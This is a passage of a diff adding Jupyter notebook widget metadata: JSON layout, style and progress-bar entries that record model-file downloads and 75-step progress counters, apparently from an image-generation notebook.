+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c8ba37c669974bbea2face17223d2bb4",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c87c0b939bbe4e56b46fca4aa580f75a",
+            "value": "Downloading (…)cheduler_config.json: 100%"
+          }
+        },
+        "5896923dddc0466a9023c09c738f404a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "58aa60b3b1af45d2bdd8870dedd3cb67": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e76b29381c114f808b3454fb122e8d10",
+            "max": 1059962,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a1d133bc8fe344e2aed80fe5155177c3",
+            "value": 1059962
+          }
+        },
+        "58bccc7add0a45d8b8640c42d89a864c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5959385589b344b2bd8fc108067db8a3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "59b6eeeaf9464da891bf214ef1bbb7c2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5a1be5246f2443858bd6933a89a68389": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "5af1c44c0f434510abd7fe9d76f263da": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5b3ca63a1af5452cb81fde6020fd9c53": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "5b74c15d312f404e88323771b08b0aeb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a25cd36e4deb410f9ee54a92a18c939c",
+            "max": 982,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_00cdbd64ce7d4b5a835a550ffc6b3510",
+            "value": 982
+          }
+        },
+        "5b89e69b011a40918b1acc0adf141874": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1e276839600443fa82ca0ab00409fd99",
+            "placeholder": "​",
+            "style": "IPY_MODEL_639d147ac3674094be21de9f3c11477c",
+            "value": " 75/75 [00:46&lt;00:00,  1.62it/s]"
+          }
+        },
+        "5d1c6a49ce6f4596946a2fd91bec3312": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_085ee070cea44624806bcc7ada5ae36e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_45148fd42fdb47b3a5424faa3c488c25",
+            "value": " 825/825 [00:00&lt;00:00, 6.91kB/s]"
+          }
+        },
+        "5d3f04417ce64f80a2843e74bf6208f7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5ef86b91d359434a9aa4787dc727cb1b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6030f4bc6af8461abdc66e4599ef3f1f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_818b00fb8ff04eadb9ccd1bdfe192807",
+              "IPY_MODEL_44480a036c3c4442baa95d6288e83546",
+              "IPY_MODEL_50949912a3ee403e8ddb328e62b61c0d"
+            ],
+            "layout": "IPY_MODEL_8dd862f24b164fc68664c30b3d241e62"
+          }
+        },
+        "622d32a9bbda46fca3ee0733be303765": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "62bd9e1add374b9e90c54275bd2e0449": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0d89ddfa9593441097ce8e42614ef775",
+              "IPY_MODEL_e85ceff770654ef1bd935f54ca32ee07",
+              "IPY_MODEL_d0716d01bfdf43ba88f8bbfd63d3285a"
+            ],
+            "layout": "IPY_MODEL_f6579ff0c08648309711a654ec3de748"
+          }
+        },
+        "634af1f0b6894726bebb7b546c667169": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6a72b26cbdf041e7a8331fdc1642dee5",
+            "max": 75,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3c4dca0b51954031905bada22feef684",
+            "value": 75
+          }
+        },
+        "639d147ac3674094be21de9f3c11477c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "639d6afb1b0440f98ce7e26cb621a111": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "63a7a29ac462471eb67b275c68faff42": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "64373eefa4884b3084975549efcbd7fe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_d8b3f3c7b8394b5580d8541f20c090ae",
+              "IPY_MODEL_634af1f0b6894726bebb7b546c667169",
+              "IPY_MODEL_5b89e69b011a40918b1acc0adf141874"
+            ],
+            "layout": "IPY_MODEL_9c01417376444eed820394ef843c0be3"
+          }
+        },
+        "6525d3514cee42f3bd14bdf898b63ad2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "659bd00aed7f4a41a843432966a1ccbf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_274e736175d34926a0c614192288e510",
+              "IPY_MODEL_a266a0d0bdde4a3aa09fec6a0a00abed",
+              "IPY_MODEL_f78f911cd0ac4cdc8fdcbcb29f1a201b"
+            ],
+            "layout": "IPY_MODEL_9e0fde0538f84469bd62e9ea9f589b4f"
+          }
+        },
+        "665a3a25e6d543d79e2e321aec4954aa": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "66a8f48777064cab94ebdfb44044fec7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "67e1ee8ac39743d2a50db01595591f22": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_58bccc7add0a45d8b8640c42d89a864c",
+            "max": 13,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_b4209eed23cb45038a5c614bfe8bf3b6",
+            "value": 13
+          }
+        },
+        "682dc899e5ee4e24a9c0f1fc928fea6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1ae88e18373a4322bddf0e51e5460a89",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9b2140d07da744348068f013152b1160",
+            "value": " 75/75 [00:21&lt;00:00,  3.37it/s]"
+          }
+        },
+        "6a72b26cbdf041e7a8331fdc1642dee5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6c32232cfb734ac3a3204a22c414fc18": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7a4e5fdddcd34b6cb658b94db24ba474",
+            "max": 1893675621,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e6942466051e4a6a97c36b56d8d4e0c2",
+            "value": 1893675621
+          }
+        },
+        "6d0c44b7df564b87a2a688d770188184": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_502d0b0ef4c549b485c049a2dae9b4f1",
+              "IPY_MODEL_67e1ee8ac39743d2a50db01595591f22",
+              "IPY_MODEL_419cb861b6e84999a3708fd19b0295c6"
+            ],
+            "layout": "IPY_MODEL_fcc7b1147ad94a01ae49b4268e85d310"
+          }
+        },
+        "6f1c7458863047598f98861765f325dd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "72fc113c125648538df5059fb578ae19": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9ba492d205294bc0a8d07985ed271358",
+            "placeholder": "​",
+            "style": "IPY_MODEL_0a49275d970741f9b19f24569b80491a",
+            "value": " 221M/221M [00:03&lt;00:00, 63.9MB/s]"
+          }
+        },
+        "76fd2fe6247a48b7b3a6cc6eef8c9fa7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_29da49469545454997e755839f8c156d",
+              "IPY_MODEL_58aa60b3b1af45d2bdd8870dedd3cb67",
+              "IPY_MODEL_f931d10a75ab4aafb1d6b92a0ba622b3"
+            ],
+            "layout": "IPY_MODEL_b67319578dc84245ad16cb8d25d3173c"
+          }
+        },
+        "795329002e034ec4aead224cf74ea361": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7a4e5fdddcd34b6cb658b94db24ba474": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
